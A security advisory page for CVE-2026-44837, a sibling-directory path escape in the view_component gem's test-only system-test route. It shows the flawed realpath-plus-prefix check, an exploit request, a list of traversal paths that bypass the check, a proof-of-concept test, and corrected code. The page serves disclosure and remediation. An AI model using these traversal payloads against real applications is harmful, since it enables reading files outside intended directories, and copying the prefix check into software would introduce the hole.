CVE-2026-44837 — view_component
MEDIUMCVE-2026-44837 is a medium-severity (CVSS 5.9) CWE-187 vulnerability in view_component. A fix is available for view_component — see the affected versions and patch details below.
view_component: System Test Entry Point Path Check Allows Sibling Directory Escape
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44837.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
view_componentReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.
Severity: Medium; test-route scoped.
Example:
Allowed base: /app/tmp/view_components
Outside path: /app/tmp/view_components_evil/secret.html.erb
The outside path is not inside the base directory, but it passes:
@path.start_with?(base_path)
Relevant Code
app/controllers/view_components_system_test_controller.rb:
base_path = ::File.realpath(self.class.temp_dir)
@path = ::File.realpath(params.permit(:file)[:file], base_path)
raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)
The route then renders the resolved file:
render file: @path
Exploit Flow
Example request:
GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb
Flow:
base_pathresolves to.../tmp/view_components.- The payload resolves to
.../tmp/view_components_evil/secret.html.erb. - That path is outside the intended temp directory.
- The string prefix check still passes.
- Rails renders the sibling file.
The route is mounted only in Rails.env.test?, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.
Targeted Fuzz Result
The following sibling paths passed an equivalent realpath plus start_with? harness while resolving outside the base directory:
../view_components_evil/secret.html
../view_components2/poc.html
../view_components.bak/poc.html
../view_components-old/poc.html
../view_componentsx/poc.html
PoC Test
Create test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb:
# frozen_string_literal: true
require "test_helper"
require "fileutils"
class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest
def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix
base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)
parent_dir = File.dirname(base_dir)
sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil")
outside_file = File.join(sibling_dir, "secret.html.erb")
FileUtils.mkdir_p(sibling_dir)
File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>")
get "/_system_test_entrypoint", params: {
file: "../#{File.basename(base_dir)}_evil/secret.html.erb"
}
assert_response :success
assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC"
ensure
FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file
Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)
end
end
Run:
bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb
Vulnerable behavior: the response succeeds and contains VC_SYSTEM_TEST_TRAVERSAL_POC.
Fixed behavior: the request raises ViewComponent::SystemTestControllerNefariousPathError or otherwise fails without rendering the file.
Suggested Fix
Use path-aware containment instead of a raw string prefix. For example:
def validate_file_path
base_path = Pathname.new(::File.realpath(self.class.temp_dir))
path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))
relative_path = path.relative_path_from(base_path)
raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".."
@path = path.to_s
end
Or require a separator boundary:
allowed_prefix = "#{base_path}#{File::SEPARATOR}"
unless @path == base_path || @path.start_with?(allowed_prefix)
raise ViewComponent::SystemTestControllerNefariousPathError
end
Add regression tests for:
- A normal temp file inside
tmp/view_components ../../README.md../view_components_evil/secret.html.erb- A symlink inside the temp directory that resolves outside it
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | view_component | ≥ 3.0.0&&< 4.9.0 | 4.9.0bundle update view_component --conservative |
Affected Products
view componentviewcomponentDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for view_component, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update view_component to 4.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44837 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-44837 in your dependencies?
Find it across RubyGems, including transitive dependencies.